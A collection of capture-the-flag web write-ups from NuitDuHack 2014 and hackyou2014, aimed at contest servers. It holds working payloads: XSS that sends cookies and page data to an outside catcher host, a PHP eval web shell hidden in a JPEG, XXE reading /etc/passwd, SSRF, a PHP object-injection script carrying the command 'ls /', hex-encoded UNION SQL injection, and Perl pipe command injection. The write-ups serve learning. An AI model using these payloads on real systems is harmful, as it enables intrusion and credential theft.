PHP

NuitDuHack 2014 Web Write Ups

Web 100: Abitol

This is a simple web app where you can register and login to see an articles page, a photo gallery, a flag page and an admin contact page.

Visiting the flag page give us a Nice try, did you really think it would be that easy? ;) but the photo gallery is vulnerable to XSS:

http://abitbol.nuitduhack.com/zoom.php?image=1%3E%3Cscript%3Ealert%281%29%3C/script%3E

Now, we dont know how the admin contact will be visualized in the viewer page, but we can try to send him a message with an iframe pointing to the vulnerable page so we can send his session ID to our cookie catcher or use XHR to request the flag.php page and send us the flag. Both options work, but the second is slighlty better since the time frame where the session ID is valid is very narrow:

<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>flag = new XMLHttpRequest(); flag.open('GET','/flag.php',false); flag.send(); flag.open('GET','http://ctf.pwntester.com/catcher.php?data='+flag.response); flag.send();</script>" />  
<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>document.location="http://ctf.pwntest.com/catcher.php?data="+document.cookie</script>" />  

After waiting a few minutes, the flag is waiting for us in the catcher:

Web 300: Titanoreine

This is a photo gallery where we can upload any image to the site. That seems the first attack vector, the second one is that it allows you to change the language and the parameter to do that is lang=(eng|fr).php which looks vulnerable to LFI. After some trials, you can include any local file in the root directory by going down three levels. Eg: ../../../upload.php

If we include the default images in the gallery system, we can see that only 2.jpg is included as binary garbage in the page:

However if we download the original image and upload it again with a different name, the new image cannot be included and the LFI just show an empty page. So there seems to be some kind of conversion going on. Comparing the EXIF data of the original and converted ones, we can see that is being compressed by gd library with quality 98:

We will compress it locally so that it does not suffer any conversion in the server (actually the server still changes the image, but probability of screwing up the php code are smaller):

$image = imagecreatefromjpeg('avatar.jpg');
imagejpeg($image,'avatar_lq.jpg',98);  

Uploading the new compressed image to the site and including it via the LFI works now. All we have to do now is include a PHP shell. It turns out that many PHP commands seems to be forbidden by the server so we ended up using eval: <?php eval($_GET['a']); ?>

Update: During the CTF, we were lucky to find another team JPG so that we could slightly modufy it and use it. Modifying a JPG so that the changes survide a GD compression is not an easy task, but will try to explain in a following post.

With that in place we can start sending commands to the server. First we can exfiltrate the code using highlight_file():

index.php

functions.php

upload.php

In order to get the flag, I used a directoryIterator since many other options were cut off:

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('./'));while($it->valid()){echo $it->getSubPathName()."</br>";$it->next();}

The flag is hidden in the unsuspicious file:

Voila!

Thanks to in3pids, @SaxX and the organization for such a fun CTF!

#hackyou2014 Web400 write-up

I did not solve this level during the CTF, but found it so interesting reading Xelenonz write-up that I couldnt help trying it myself just for the fun and since this blog is my personal notes, I decided to write it here for future reference, but all credits go to Xelenonz.

We are given the code of a Image hostig web app. Reading the code we see how it handle the requests:

include 'config.php';  
include 'classes.php';  
$action = (isset($_REQUEST['action'])) ? $_REQUEST['action'] : 'View';
$param = (isset($_REQUEST['param'])) ? $_REQUEST['param'] : 'index';
$page = new $action($param);
echo $page;  

So action is used to instantiate any arbitrary class and param is the argument for the constructor. Cool. We are given a bunch of classes the application uses to upload and view images and to manage the Session object:

class View {  
    function __construct($page) {
        ob_start();
        readfile('html/header.html');
        switch ($page) {
            case 'index':
                readfile('html/index.tpl.html');
                break;
            case 'upload':
                readfile('html/upload.tpl.html');
                break;
        }
        readfile('html/footer.html');
    }
    function __toString() {
        $this->content = ob_get_contents();
        ob_end_clean();
        return $this->content;
    }
}

class Upload {  
    function __construct($data) {
        global $config;
        $this->data = base64_decode($data);
        $this->filename = md5(uniqid(rand(), true));
        $this->path = $config['root'].'images/'.$this->filename;
        file_put_contents($this->path, $this->data);
        $this->type = exif_imagetype($this->path);
    }
    function __toString() {
        if ($this->type) {
            $link = 'http://'.$_SERVER['SERVER_NAME'].'/'.$this->filename;
            return '<p>Successfully updated!</p>Your link: <a href="'.$link.'">'.$link.'</a>';
        } else {
            return '<p>Wrong file type!<p>';
        }
    }
    function __destruct() {
        if ($this->type) {
            echo '<p>Some file info:

<pre>';
            passthru('exiv2 '.$this->path);
            echo '</pre></p>';
        } else {
            unlink($this->path);
        }
    }
}

class Image {  
    function __construct($filename) {
        global $config;
        $this->filename = $filename;
        $this->path = $config['root'].'images/'.$this->filename;
    }
    function __toString() {
        if (preg_match('/^[a-f0-9]{32}$/', $this->filename) && file_exists($this->path)) {
            $this->type = exif_imagetype($this->path);
            $this->mime = image_type_to_mime_type($this->type);
            header('Content-Type: '.$this->mime);
            return file_get_contents($this->path);
        } else {
            return '<h1>Error</h1>';
        }
    }
}

class Session {  
    function __construct() {
        global $config;
        session_set_save_handler(
            array($this, "open"), array($this, "close"),  array($this, "read"),
            array($this, "write"),array($this, "destroy"),array($this, "gc")
        );
        $this->key = $config['key'];
        $this->size = 32;
        $this->path = '/tmp';
    }

    function encrypt($data) {
        $iv = mcrypt_create_iv($this->size, MCRYPT_RAND);
        $key = hash('sha256', $this->key, true);
        $data = $iv.mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $data;
    }

    function decrypt($data) {
        $key = hash('sha256', $this->key, true);
        $iv = substr($data, 0, $this->size);
        $data = substr($data, $this->size);
        $data = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $data;
    }

    function write($id, $data) {
        $path = $this->path.'/'.$id;
        $data = $this->encrypt($data);
        file_put_contents($path, $data);
    }

    function read($id) {
        $path = $this->path.'/'.$id;
        $data = null;
        if (is_file($path)) {
            $data = file_get_contents($path);
            $data = $this->decrypt($data);
        }
        return $data;
    }

    function open($sess_path, $sess_id) {
        //nothing
    }

    function close() {
        return true;
    }

    function gc($maxlifetime) {
        $path = $this->path.'/*';
        foreach (glob($path) as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }
        return true;
    }

    function destroy($id) {
        $path = $this->path.'/'.$id;
        if (is_file($path)) {
            unlink($path);
        }
        return true;
    }
}

The most interesting one are the Upload class whose destructor runs "arbitrary code" and Session which tell us how the Session object is initializated and stored/read from disk (although, we dont know the encryption key that is stored in the config.php file). These are classes are interesting but not useful if we can only create an instance and print the instance tostring return value. Lets look for PHP system classes that could be more useful:

[email protected] ~> php -r 'var_dump (get_declared_classes ());'  
array(139) {  
  [0]=> string(8) "stdClass"
  [1]=> string(9) "Exception"
  [2]=> string(14) "ErrorException"
  [3]=> string(7) "Closure"
  [4]=> string(8) "DateTime"
  [5]=> string(12) "DateTimeZone"
  [6]=> string(12) "DateInterval"
  [7]=> string(10) "DatePeriod"
  [8]=> string(11) "LibXMLError"
  [9]=> string(7) "SQLite3"
  [10]=> string(11) "SQLite3Stmt"
  [11]=> string(13) "SQLite3Result"
  [12]=> string(12) "DOMException"
  [13]=> string(13) "DOMStringList"
  [14]=> string(11) "DOMNameList"
  [15]=> string(21) "DOMImplementationList"
  [16]=> string(23) "DOMImplementationSource"
  [17]=> string(17) "DOMImplementation"
  [18]=> string(7) "DOMNode"
  [19]=> string(16) "DOMNameSpaceNode"
  [20]=> string(19) "DOMDocumentFragment"
  [21]=> string(11) "DOMDocument"
  [22]=> string(11) "DOMNodeList"
  [23]=> string(15) "DOMNamedNodeMap"
  [24]=> string(16) "DOMCharacterData"
  [25]=> string(7) "DOMAttr"
  [26]=> string(10) "DOMElement"
  [27]=> string(7) "DOMText"
  [28]=> string(10) "DOMComment"
  [29]=> string(11) "DOMTypeinfo"
  [30]=> string(18) "DOMUserDataHandler"
  [31]=> string(11) "DOMDomError"
  [32]=> string(15) "DOMErrorHandler"
  [33]=> string(10) "DOMLocator"
  [34]=> string(16) "DOMConfiguration"
  [35]=> string(15) "DOMCdataSection"
  [36]=> string(15) "DOMDocumentType"
  [37]=> string(11) "DOMNotation"
  [38]=> string(9) "DOMEntity"
  [39]=> string(18) "DOMEntityReference"
  [40]=> string(24) "DOMProcessingInstruction"
  [41]=> string(15) "DOMStringExtend"
  [42]=> string(8) "DOMXPath"
  [43]=> string(5) "finfo"
  [44]=> string(14) "LogicException"
  [45]=> string(24) "BadFunctionCallException"
  [46]=> string(22) "BadMethodCallException"
  [47]=> string(15) "DomainException"
  [48]=> string(24) "InvalidArgumentException"
  [49]=> string(15) "LengthException"
  [50]=> string(19) "OutOfRangeException"
  [51]=> string(16) "RuntimeException"
  [52]=> string(20) "OutOfBoundsException"
  [53]=> string(17) "OverflowException"
  [54]=> string(14) "RangeException"
  [55]=> string(18) "UnderflowException"
  [56]=> string(24) "UnexpectedValueException"
  [57]=> string(25) "RecursiveIteratorIterator"
  [58]=> string(16) "IteratorIterator"
  [59]=> string(14) "FilterIterator"
  [60]=> string(23) "RecursiveFilterIterator"
  [61]=> string(22) "CallbackFilterIterator"
  [62]=> string(31) "RecursiveCallbackFilterIterator"
  [63]=> string(14) "ParentIterator"
  [64]=> string(13) "LimitIterator"
  [65]=> string(15) "CachingIterator"
  [66]=> string(24) "RecursiveCachingIterator"
  [67]=> string(16) "NoRewindIterator"
  [68]=> string(14) "AppendIterator"
  [69]=> string(16) "InfiniteIterator"
  [70]=> string(13) "RegexIterator"
  [71]=> string(22) "RecursiveRegexIterator"
  [72]=> string(13) "EmptyIterator"
  [73]=> string(21) "RecursiveTreeIterator"
  [74]=> string(11) "ArrayObject"
  [75]=> string(13) "ArrayIterator"
  [76]=> string(22) "RecursiveArrayIterator"
  [77]=> string(11) "SplFileInfo"
  [78]=> string(17) "DirectoryIterator"
  [79]=> string(18) "FilesystemIterator"
  [80]=> string(26) "RecursiveDirectoryIterator"
  [81]=> string(12) "GlobIterator"
  [82]=> string(13) "SplFileObject"
  [83]=> string(17) "SplTempFileObject"
  [84]=> string(19) "SplDoublyLinkedList"
  [85]=> string(8) "SplQueue"
  [86]=> string(8) "SplStack"
  [87]=> string(7) "SplHeap"
  [88]=> string(10) "SplMinHeap"
  [89]=> string(10) "SplMaxHeap"
  [90]=> string(16) "SplPriorityQueue"
  [91]=> string(13) "SplFixedArray"
  [92]=> string(16) "SplObjectStorage"
  [93]=> string(16) "MultipleIterator"
  [94]=> string(14) "SessionHandler"
  [95]=> string(22) "__PHP_Incomplete_Class"
  [96]=> string(15) "php_user_filter"
  [97]=> string(9) "Directory"
  [98]=> string(20) "mysqli_sql_exception"
  [99]=> string(13) "mysqli_driver"
  [100]=> string(6) "mysqli"
  [101]=> string(14) "mysqli_warning"
  [102]=> string(13) "mysqli_result"
  [103]=> string(11) "mysqli_stmt"
  [104]=> string(12) "PDOException"
  [105]=> string(3) "PDO"
  [106]=> string(12) "PDOStatement"
  [107]=> string(6) "PDORow"
  [108]=> string(13) "PharException"
  [109]=> string(4) "Phar"
  [110]=> string(8) "PharData"
  [111]=> string(12) "PharFileInfo"
  [112]=> string(19) "ReflectionException"
  [113]=> string(10) "Reflection"
  [114]=> string(26) "ReflectionFunctionAbstract"
  [115]=> string(18) "ReflectionFunction"
  [116]=> string(19) "ReflectionParameter"
  [117]=> string(16) "ReflectionMethod"
  [118]=> string(15) "ReflectionClass"
  [119]=> string(16) "ReflectionObject"
  [120]=> string(18) "ReflectionProperty"
  [121]=> string(19) "ReflectionExtension"
  [122]=> string(23) "ReflectionZendExtension"
  [123]=> string(16) "SimpleXMLElement"
  [124]=> string(17) "SimpleXMLIterator"
  [125]=> string(4) "SNMP"
  [126]=> string(13) "SNMPException"
  [127]=> string(10) "SoapClient"
  [128]=> string(7) "SoapVar"
  [129]=> string(10) "SoapServer"
  [130]=> string(9) "SoapFault"
  [131]=> string(9) "SoapParam"
  [132]=> string(10) "SoapHeader"
  [133]=> string(4) "tidy"
  [134]=> string(8) "tidyNode"
  [135]=> string(9) "XMLReader"
  [136]=> string(9) "XMLWriter"
  [137]=> string(13) "XSLTProcessor"
  [138]=> string(10) "ZipArchive"
}

That's a bunch of classes but going through them we find two that are particulary interest: "SplFileObject" and "SimpleXmlElement".
With SplFileObject we are returned the first line of any file:

You can however, use PHP filters to encode it base64 and get all file contents as a long base64 line:

Thats pretty cool, now we can decode it and get the key:

$config = array();
$config['root'] = '/var/www/';
$config['key'] = '6hQJMFh8gRje67EmpDX3';
$config['IP'] = array('127.0.0.1');
$config['password'] = '3fd5b6db6bc90ddd6a6f6caad27d8b00';

And thats basically as far as I got, I could not bypass the restriction in the "admin.php" to allow only requests from localhost so I could not start the session and try to take advantage of it.

After the CTF ended I found out that we could submit XML documents with external entities and launch a SSRF attack from there. Lets see how.
We can use the "SimpleXMLElement" class to create XML documents like:

POST /index.php?action=SimpleXMLElement HTTP/1.1  
Host: hackyou2014tasks.ctf.su:40080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0  
Content-Type: application/x-www-form-urlencoded;application/xml  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,es-es;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 21

param=<foo>test</foo>  

Actually I tried this during the CTF but forgot to add the "Content-Type" header so kept on getting "Internal Server Errors", damn!

Anyway, The server returns us our XML document so now we can try to inject external entities:

POST /index.php?action=SimpleXMLElement HTTP/1.1  
Host: hackyou2014tasks.ctf.su:40080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0  
Content-Type: application/x-www-form-urlencoded;application/xml  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,es-es;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 76

param=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/etc/passwd" >]><foo>%26xxe;</foo>  
HTTP/1.1 200 OK  
Date: Fri, 17 Jan 2014 13:49:12 GMT  
Server: Apache/2.2.22 (Ubuntu)  
X-Powered-By: PHP/5.3.10-1ubuntu3.8  
Vary: Accept-Encoding  
Content-Length: 1041  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/var/mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
libuuid:x:100:101::/var/lib/libuuid:/bin/sh  
syslog:x:101:103::/home/syslog:/bin/false  
messagebus:x:102:105::/var/run/dbus:/bin/false  
whoopsie:x:103:106::/nonexistent:/bin/false  
landscape:x:104:109::/var/lib/landscape:/bin/false  
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin  
user:x:1000:1000:user,,,:/home/user:/bin/bash  

The nice thing about this XXE vulnerability is not that we can read any file (that we already could using the SplFileObject class) but that we can use to initiate requests from the own server!

Now we can bypass localhost address restriction, however accessing http://locahost/admin.php returns some characters that break the XML schema so we will use the PHP base64 encoder filter to return an XML schema friendly version of the page:

POST /index.php?action=SimpleXMLElement HTTP/1.1  
Host: hackyou2014tasks.ctf.su:40080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0  
Content-Type: application/x-www-form-urlencoded;application/xml  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,es-es;q=0.8,es;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Length: 140

param=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/admin.php" >]><foo>%26xxe;</foo>  
HTTP/1.1 200 OK  
Date: Fri, 17 Jan 2014 13:51:57 GMT  
Server: Apache/2.2.22 (Ubuntu)  
X-Powered-By: PHP/5.3.10-1ubuntu3.8  
Vary: Accept-Encoding  
Content-Length: 256  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html

PGh0bWw+Cjxib2R5PgoJPGI+RW50ZXIgcGFzc3dvcmQ6PC9iPgoJPGZvcm0gYWN0aW9uPSJhZG1pbi5waHAiIG1ldGhvZD0iUE9TVCI+CgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIj4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJHTyI+Cgk8L2Zvcm0+CjwvYm9keT4KPC9odG1sPgo=  

That decodes into:

<html>  
<body>  
    <b>Enter password:</b>
    <form action="admin.php" method="POST">
        <input type="text" name="password">
        <input type="submit" name="submit" value="GO">
    </form>
</body>  
</html>  

Now, I dont really need to become admin since right after the local IP check, the Session is initialized:

if (!in_array($_SERVER['REMOTE_ADDR'], $config['IP']))  
    die('<h1>Access denied</h1>');

$handler = new Session();
session_start();  

So session_start() will call the session handler open() and read() methods to restore the session. If we look at our custom Session handler we see that the serialized session is read from /tmp/<phpsessionid>:

function __construct() {  
    global $config;
    session_set_save_handler(
        array($this, "open"), array($this, "close"),  array($this, "read"),
        array($this, "write"),array($this, "destroy"),array($this, "gc")
    );
    $this->key = $config['key'];
    $this->size = 32;
    $this->path = '/tmp';
}

function read($id) {  
    $path = $this->path.'/'.$id;
    $data = null;
    if (is_file($path)) {
        $data = file_get_contents($path);
        $data = $this->decrypt($data);
    }
    return $data;
}

And since we can control PHPSESSIONID by sending it as a query parameter using the SSRF attack, we can point the read() method to a different file. Luckly for us we can upload images to /var/www/images right?? so if we make:

PHPSESSIONID=../var/www/images/<image under control>  

We will fool the application to read the session from our file. All we have to do now is uploading an image that is an encrypted version of a serialized session containing any arbitrary objects we want to store there.

Here its where the Upload class come really handy since its destructor can execute any command if we control the $this-path variable which we do:

class Upload {  
    function __construct($data) {
        global $config;
        $this->data = base64_decode($data);
        $this->filename = md5(uniqid(rand(), true));
        $this->path = $config['root'].'images/'.$this->filename;
        file_put_contents($this->path, $this->data);
        $this->type = exif_imagetype($this->path);
    }
    function __toString() {
        if ($this->type) {
            $link = 'http://'.$_SERVER['SERVER_NAME'].'/'.$this->filename;
            return '<p>Successfully updated!</p>Your link: <a href="'.$link.'">'.$link.'</a>';
        } else {
            return '<p>Wrong file type!<p>';
        }
    }
    function __destruct() {
        if ($this->type) {
            echo '<p>Some file info:

<pre>';
            passthru('exiv2 '.$this->path);
            echo '</pre></p>';
        } else {
            unlink($this->path);
        }
    }
}

So we can craft a session object containing an instance of a hand crafted Upolad* class and assign it to $_SESSION['auth'] (so the welcome message is printed).

Also, if we want to obtain our exploit "image" hash to craft the PHPSESSIONID, we need our exploit to have "$this->type > 0" and for that we need exif_imagetype() to return a value bigger than 0. So our exploit will be generated with the following script that will run "ls /" when the Upload instance is destroyed. PHP 5 introduced a destructor concept similar to that of other object-oriented languages, such as C++. The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence.

class Upload {  
    function __construct($path) {
        $this->data = "";
        $this->filename = "";
        $this->path = $path;
        $this->type = "image/jpeg";
    }
}

function encrypt($data) {  
        $size = 32;
        $key = '6hQJMFh8gRje67EmpDX3';
        $iv = mcrypt_create_iv($size, MCRYPT_RAND);
        $key = hash('sha256', $key, true);
        $data = $iv.mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $data;
}

$upload = new Upload("img; ls /");
$payload = 'auth|'.serialize($upload);
$data = '';
$file = 0;
while (true){  
    echo '.';
    $data = encrypt($payload);
    file_put_contents("exploit",$data);
    $file = exif_imagetype('exploit');
    if($file > 0){
        echo $file."\n";
        die("Done\n");
    };
};

Now our exploit will be accepted:

All we are left to do is use our SSRF vector to visit the admin.php page for us and make it set the PHPSESSIONID in the query parameter:

If we decode the response:

The flag was:

CTF{42a38432d46b9054004a7a87fd3140c7}  

#hackyou2014 Web100 write-up

In this level we are presented with some logos we can vote.

If we look at the source code we can see an interesting comment:

...
<!-- TODO: remove index.phps -->  
...

We can grab the source code:

 <?php
include 'db.php';  
session_start();  
if (!isset($_SESSION['login'])) {  
    $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];

if (isset($_POST['submit'])) {  
    if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
        die('Hacking attempt!');
    $id = $_POST['id'];
    $vote = (int)$_POST['vote'];
    if ($vote > 5 || $vote < 1)
        $vote = 1;
    $q = mysql_query("INSERT INTO vote VALUES ({$id}, {$vote}, '{$login}')");
    $q = mysql_query("SELECT id FROM vote WHERE user = '{$login}' GROUP BY id");
    echo '<p><b>Thank you!</b> Results:</p>';
    echo '<table border="1">';
    echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
    while ($r = mysql_fetch_array($q)) {
        $arr = mysql_fetch_array(mysql_query("SELECT title FROM picture WHERE id = ".$r['id']));
        echo '<tr><td>'.$arr[0].'</td>';
        $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM vote WHERE id = ".$r['id']));
        echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
    }
    echo '</table>';
    echo '<br><a href="index.php">Back</a><br>';
    exit;
}
<html>  
<head>  
    <title>Picture Gallery</title>
</head>  
<body>  
<p>Welcome, <?php echo $login; ?></p>  
<p>Help us to choose the best logo!</p>  
<form action="index.php" method="POST">  
<table border="1" cellspacing="5">  
<tr>  
$q = mysql_query('SELECT * FROM picture');
while ($r = mysql_fetch_array($q)) {  
    echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
}
</tr>  
</table>  
<p>Your vote:  
<select name="vote">  
<option value="1">1</option>  
<option value="2">2</option>  
<option value="3">3</option>  
<option value="4">4</option>  
<option value="5">5</option>  
</select></p>  
<input type="submit" name="submit" value="Submit">  
</form>  
</body>  
</html>  
<!-- TODO: remove index.phps -->  

We cannot inject in vote because it is casted to an integer and the value is verified but we can inject in id if we can bypass the is_numeric function. Actually, it was quite easy, we can submit hexadecimal values and benefit from how mysql handles hex literals.
We can verify the injection submiting:

0x39393939393939393939393920756e696f6e20616c6c202873656c656374202748656c6c6f21212729  
999999999999 union all (select 'Hello!!')  

The server will return:

Ok, now we can try something more interesting:

0x39393939393939393939393920756e696f6e20616c6c202853454c4543542047524f55505f434f4e43415428736368656d615f6e616d65292046524f4d20696e666f726d6174696f6e5f736368656d612e736368656d61746129  
999999999999 union all (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)  
information_schema,mysql,performance_schema,task,test  

From "task"

0x39393939393939393939393920756e696f6e20616c6c202853454c4543542047524f55505f434f4e434154287461626c655f6e616d65292046524f4d20696e666f726d6174696f6e5f736368656d612e7461626c6573205748455245207461626c655f736368656d61203d20277461736b2729  
999999999999 union all (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'task')  
Flag,picture,vote  

Now the columns:

0x39393939393939393939393920756e696f6e20616c6c202853454c4543542047524f55505f434f4e43415428636f6c756d6e5f6e616d65292046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73205748455245207461626c655f736368656d61203d20277461736b2720616e64207461626c655f6e616d653d27466c61672729  
999999999999 union all (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = 'task' and table_name='Flag')  
flag  

And finally:

0x39393939393939393939393920756e696f6e20616c6c202853454c4543542047524f55505f434f4e43415428666c6167292066726f6d20466c616729  
999999999999 union all (SELECT GROUP_CONCAT(flag) from Flag)  
CTF{820178c33c03aaa7cfe644c691679cf8}  

#hackyou2014 Web200 write-up

In this level we are presented with a typical Snake game.

I spent a couple of hours deofuscating the javascript code until I was capable of submitting any score. Nice but useless. I also found out that I could fake the IP associated to the score using the X-Forwarded-For header.
That was pretty much it until the CTF was about to finish when I was given the hint: "../". I could use it to locate a LFI vulnerability that was affecting the index.php?ip parameter so I was capable of reading index.pl:

Reviewing the code we spot the LFI in line 4:

$login = $session->param('login');
print $req->p('Hello, '.$login.'!');  
if ($req->param('ip')) {  
    $file = './data/'.MD5($login)."/".$req->param('ip');
    if (-e $file) {
        open FILE, $file;
        $html = '';
        while (<FILE>) {
            $html .= $_;
        }
        close(FILE);
        print $req->start_table({border=>1});
        print $req->Tr($req->th(['Date', 'Score']));
        print $html;
        print $req->end_table();
        print $req->a({href=>'index.pl'}, 'Back');
    } else {
        print $req->h1('Error');
    }
}

But also there is another interesting "feature" if $file exists then it will be opened and since perl open() command in line 6 allow us to inject commands using pipes, we can execute any arbitrary command. Problem is that $file needs to exist so how can we create a random file there? Well, we can use our ability to submit random IPs with X-Forwarded-For:

Now if we go to index.pl?ip=|pwd| we will get:

Nice! However we cannot create files containing a slash ("/"):

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|pwd|")'  
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls .|")'  
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls ..|")'  
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls /|")'  
[email protected]:~/test$ ls  
|ls ..|  |ls .|  |pwd|

No backslashes neither:

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|`echo -e '\x6c\x73\x20\x2f'`|")'  
[email protected]:~/test$ ls  
|`echo -e x6cx73x20x2f`|  |ls ..|  |ls .|  |pwd|

Lets try base64:

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|`echo bHMgLw== | base64 -d`|")'  
[email protected]:~/test$ ls  
|`echo -e x6cx73x20x2f`|  |`echo bHMgLw== | base64 -d`|  |ls ..|  |ls .|  |pwd|

Cool! lets submit it:

And fetch our recompense:

#hackyou2014 Web300 write-up

In this level we were presented with an online shop:

The task name was "AngryBird" and this was very relevant to solve the challange! It actually comes down to two parts:

  • Finding a hidden admin area
  • Exploiting a blind SQLi to get credentials

Finding the hidden admin area

We were given the following description:

Some web-developers still host their sites on Windows platform, and think that it is secure enough

So we have to unravel our Windows PHP trickery and one of the coolest thigs Ive seen lately is this Windows+PHP bug realted with findfirstfile. If you havent read the paper so far, go and read it, is awesome!.

Anyway, using this trick on the main page and a little bit of burp intruder, we can find interesting hidden stuff. For examplo:

http://hackyou2014tasks.ctf.su:30080/index.php?page=p<<  

the "p<<" bit will become "p*" and Windows's findfirstfile API used by include_once will return us the first file starting with "p" and it will show us phpinfo()

Using same trick we can see that "0<<" returns an expty page instead of a "Page does not exists", so it can be the beggining of a directory name. After bruteforcing it we find a secret admin login in

http://hackyou2014tasks.ctf.su:30080/0a5d2eb35b90e338ed481893af7a6d78/index.php  

Now we need the credentials.

Exploiting the Angry Bird

Its easy to find that the order parameter is vulnerable to SQL injection:

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost  

We cannot actually uses single quotes or many other characters because of the WAF, but we can easily prove it with the following URLs:

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost ASC  

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost DESC  

We can use a similar approach to the one explained here but if we try similar queries we get errors.
So the DB backend doesnt look like MySQL nor MSSQLServer ... but what the hell can be. Well, actually the task name was quite inspiring: Firebird.

After setting up a local instance and learning the basics of firebird syntax and how the WAF works (substring is not allowed), we come with some valid queries like:

(case when (select ascii_val(reverse(left(list(rdb$relation_name),{1}))) from rdb$relations) = 82 then name end)

Using a basic python script we brute force it and find the following user tables: USERS and ITEMS

Using similar script we can extract all the users and passwords and so we get: admin/9shS3FAk
If we try those credentials in the admin page, we get the flag:

CTF{7aac9050378b1c41e4ba5ce48a2f6642}